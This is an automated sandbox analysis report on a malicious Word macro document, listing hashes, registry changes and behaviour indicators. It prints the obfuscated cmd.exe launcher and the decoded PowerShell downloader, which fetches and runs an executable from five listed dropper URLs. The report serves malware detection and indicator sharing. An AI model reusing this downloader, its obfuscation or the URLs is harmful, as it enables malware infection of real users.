39d26726f643a3ca157d4d7e78f10831854f191120a06b95e0ed413fd0170d4f

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
15-05-2024 02:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

443ae95c2c1e9323ba8ed84249fa07f1_JaffaCakes118.doc
Size

230KB
MD5

443ae95c2c1e9323ba8ed84249fa07f1
SHA1

7f063c638a3b4819d4843619f73b3910d64be552
SHA256

39d26726f643a3ca157d4d7e78f10831854f191120a06b95e0ed413fd0170d4f
SHA512

73a2d7898ccb3fa31acfc0872c0753fbffcd4af7a0bc012431d47696bf36f32abf68d0c2212ddff8474cd195865cc8f9417a94190e2654fa0e1e9001c184d45a
SSDEEP

3072:QvrNNpClULzo5DIzUmcQC8jL/xSu90OoiLuDKZXfwKeljR1v:6tZ7jcQCKxUOmD+XfwLj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sarahleighroddis.com/xZs22v11

exe.dropper

http://fbroz.com/COeg4ZZ

exe.dropper

http://thesunavenuequan2.com/UYUiGwf9j

exe.dropper

http://drapart.org/Jvn89HTd2O

exe.dropper

http://ikiw.iniqua.com/oO0OtJVo

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	760	2416	cmd.exe	27

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1412	powershell.exe
7	1412	powershell.exe
9	1412	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
760	cmd.exe
2828	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\FLAGS\ = "6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\0\win32	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{261DDE3D-0D55-4AB6-B35F-E04F0EB47154}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2416	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1412	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2416	WINWORD.EXE
2416	WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 760	2416	WINWORD.EXE	28
PID 2416 wrote to memory of 760	2416	WINWORD.EXE	28
PID 2416 wrote to memory of 760	2416	WINWORD.EXE	28
PID 2416 wrote to memory of 760	2416	WINWORD.EXE	28
PID 760 wrote to memory of 2828	760	cmd.exe	31
PID 760 wrote to memory of 2828	760	cmd.exe	31
PID 760 wrote to memory of 2828	760	cmd.exe	31
PID 760 wrote to memory of 2828	760	cmd.exe	31
PID 2828 wrote to memory of 1644	2828	cmd.exe	34
PID 2828 wrote to memory of 1644	2828	cmd.exe	34
PID 2828 wrote to memory of 1644	2828	cmd.exe	34
PID 2828 wrote to memory of 1644	2828	cmd.exe	34
PID 2828 wrote to memory of 1600	2828	cmd.exe	35
PID 2828 wrote to memory of 1600	2828	cmd.exe	35
PID 2828 wrote to memory of 1600	2828	cmd.exe	35
PID 2828 wrote to memory of 1600	2828	cmd.exe	35
PID 1600 wrote to memory of 1412	1600	cmd.exe	36
PID 1600 wrote to memory of 1412	1600	cmd.exe	36
PID 1600 wrote to memory of 1412	1600	cmd.exe	36
PID 1600 wrote to memory of 1412	1600	cmd.exe	36
PID 2416 wrote to memory of 628	2416	WINWORD.EXE	37
PID 2416 wrote to memory of 628	2416	WINWORD.EXE	37
PID 2416 wrote to memory of 628	2416	WINWORD.EXE	37
PID 2416 wrote to memory of 628	2416	WINWORD.EXE	37

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\443ae95c2c1e9323ba8ed84249fa07f1_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2416
- \??\c:\windows\SysWOW64\cmd.exe
  c:\wljzn\wijvi\slrzb\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set eLO6=N1qVndw~20kzGl(eD.Y;b9p\/TvBW+=5ouI-8rtZ@OsE:FPM}$UL4yJ)ij h6xg'mfCcH%3{SA,a&&for %Z in (22,32,6,69,46,50,27,51,34,66,44,7,31,74,1,69,37,69,72,43,72,72,34,41,0,0,73,47,43,44,7,35,52,74,1,69,59,69,25,43,47,46,44,7,35,70,74,1,69,13,13,58,49,56,56,56,42,30,63,33,57,6,5,63,19,49,65,4,26,2,30,4,15,6,35,32,20,57,15,67,38,58,0,15,38,17,28,15,20,66,13,56,15,4,38,19,49,59,22,38,59,4,30,63,59,38,38,22,44,24,24,42,75,37,75,59,13,15,56,62,59,37,32,5,5,56,42,17,67,32,64,24,61,39,42,8,8,26,1,1,40,59,38,38,22,44,24,24,65,20,37,32,11,17,67,32,64,24,66,41,15,62,52,39,39,40,59,38,38,22,44,24,24,38,59,15,42,33,4,75,26,15,4,33,15,2,33,75,4,8,17,67,32,64,24,50,18,50,56,12,6,65,21,57,40,59,38,38,22,44,24,24,5,37,75,22,75,37,38,17,32,37,62,24,54,26,4,36,21,68,25,5,8,41,40,59,38,38,22,44,24,24,56,10,56,6,17,56,4,56,2,33,75,17,67,32,64,24,32,41,9,41,38,54,3,32,63,17,72,22,13,56,38,14,63,40,63,55,19,49,65,13,32,6,59,30,63,26,13,13,6,4,63,19,49,38,67,22,11,38,58,30,58,63,60,70,63,19,49,32,64,56,10,30,63,57,10,59,22,63,19,49,42,33,22,56,22,30,49,15,4,26,44,38,15,64,22,29,63,23,63,29,49,38,67,22,11,38,29,63,17,15,61,15,63,19,65,32,37,15,75,67,59,14,49,42,22,6,22,13,58,56,4,58,49,59,22,38,59,4,55,71,38,37,53,71,49,65,4,26,2,17,16,32,6,4,13,32,75,5,45,56,13,15,14,49,42,22,6,22,13,74,58,49,42,33,22,56,22,55,19,49,5,6,64,26,30,63,2,42,65,65,63,19,34,65,58,14,14,12,15,38,35,34,38,15,64,58,49,42,33,22,56,22,55,17,13,15,4,62,38,59,58,35,62,15,58,52,9,9,9,9,55,58,71,34,4,26,32,10,15,35,34,38,15,64,58,49,42,33,22,56,22,19,49,11,5,5,20,30,63,26,37,64,5,63,19,20,37,15,75,10,19,48,48,67,75,38,67,59,71,48,48,49,33,42,57,11,6,30,63,57,13,38,64,63,19,78)do set oqw=!oqw!!eLO6:~%Z,1!&&if %Z==78 echo !oqw:~5!|cmd.exe"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\SysWOW64\cmd.exe
    CmD /V:ON/C"set eLO6=N1qVndw~20kzGl(eD.Y;b9p\/TvBW+=5ouI-8rtZ@OsE:FPM}$UL4yJ)ij h6xg'mfCcH%3{SA,a&&for %Z in (22,32,6,69,46,50,27,51,34,66,44,7,31,74,1,69,37,69,72,43,72,72,34,41,0,0,73,47,43,44,7,35,52,74,1,69,59,69,25,43,47,46,44,7,35,70,74,1,69,13,13,58,49,56,56,56,42,30,63,33,57,6,5,63,19,49,65,4,26,2,30,4,15,6,35,32,20,57,15,67,38,58,0,15,38,17,28,15,20,66,13,56,15,4,38,19,49,59,22,38,59,4,30,63,59,38,38,22,44,24,24,42,75,37,75,59,13,15,56,62,59,37,32,5,5,56,42,17,67,32,64,24,61,39,42,8,8,26,1,1,40,59,38,38,22,44,24,24,65,20,37,32,11,17,67,32,64,24,66,41,15,62,52,39,39,40,59,38,38,22,44,24,24,38,59,15,42,33,4,75,26,15,4,33,15,2,33,75,4,8,17,67,32,64,24,50,18,50,56,12,6,65,21,57,40,59,38,38,22,44,24,24,5,37,75,22,75,37,38,17,32,37,62,24,54,26,4,36,21,68,25,5,8,41,40,59,38,38,22,44,24,24,56,10,56,6,17,56,4,56,2,33,75,17,67,32,64,24,32,41,9,41,38,54,3,32,63,17,72,22,13,56,38,14,63,40,63,55,19,49,65,13,32,6,59,30,63,26,13,13,6,4,63,19,49,38,67,22,11,38,58,30,58,63,60,70,63,19,49,32,64,56,10,30,63,57,10,59,22,63,19,49,42,33,22,56,22,30,49,15,4,26,44,38,15,64,22,29,63,23,63,29,49,38,67,22,11,38,29,63,17,15,61,15,63,19,65,32,37,15,75,67,59,14,49,42,22,6,22,13,58,56,4,58,49,59,22,38,59,4,55,71,38,37,53,71,49,65,4,26,2,17,16,32,6,4,13,32,75,5,45,56,13,15,14,49,42,22,6,22,13,74,58,49,42,33,22,56,22,55,19,49,5,6,64,26,30,63,2,42,65,65,63,19,34,65,58,14,14,12,15,38,35,34,38,15,64,58,49,42,33,22,56,22,55,17,13,15,4,62,38,59,58,35,62,15,58,52,9,9,9,9,55,58,71,34,4,26,32,10,15,35,34,38,15,64,58,49,42,33,22,56,22,19,49,11,5,5,20,30,63,26,37,64,5,63,19,20,37,15,75,10,19,48,48,67,75,38,67,59,71,48,48,49,33,42,57,11,6,30,63,57,13,38,64,63,19,78)do set oqw=!oqw!!eLO6:~%Z,1!&&if %Z==78 echo !oqw:~5!|cmd.exe"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $iiis='ujwd';$fnvq=new-object Net.WebClient;$hpthn='http://sarahleighroddis.com/xZs22v11@http://fbroz.com/COeg4ZZ@http://thesunavenuequan2.com/UYUiGwf9j@http://drapart.org/Jvn89HTd2O@http://ikiw.iniqua.com/oO0OtJVo'.Split('@');$flowh='vllwn';$tcpzt = '63';$omik='jkhp';$supip=$env:temp+'\'+$tcpzt+'.exe';foreach($spwpl in $hpthn){try{$fnvq.DownloadFile($spwpl, $supip);$dwmv='qsff';If ((Get-Item $supip).length -ge 40000) {Invoke-Item $supip;$zddb='vrmd';break;}}catch{}}$usjzw='jltm';"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1600
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $iiis='ujwd';$fnvq=new-object Net.WebClient;$hpthn='http://sarahleighroddis.com/xZs22v11@http://fbroz.com/COeg4ZZ@http://thesunavenuequan2.com/UYUiGwf9j@http://drapart.org/Jvn89HTd2O@http://ikiw.iniqua.com/oO0OtJVo'.Split('@');$flowh='vllwn';$tcpzt = '63';$omik='jkhp';$supip=$env:temp+'\'+$tcpzt+'.exe';foreach($spwpl in $hpthn){try{$fnvq.DownloadFile($spwpl, $supip);$dwmv='qsff';If ((Get-Item $supip).length -ge 40000) {Invoke-Item $supip;$zddb='vrmd';break;}}catch{}}$usjzw='jltm';
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1412
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

